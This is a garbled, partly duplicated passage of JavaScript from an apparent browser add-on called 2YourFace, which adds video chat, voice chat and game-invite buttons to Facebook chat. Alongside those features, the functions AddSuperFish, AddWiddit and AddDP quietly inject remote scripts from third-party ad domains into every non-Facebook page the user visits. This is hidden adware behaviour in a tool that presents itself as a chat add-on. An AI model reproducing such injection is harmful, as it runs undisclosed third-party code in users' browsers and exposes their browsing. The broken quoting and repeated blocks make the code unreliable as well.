style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: 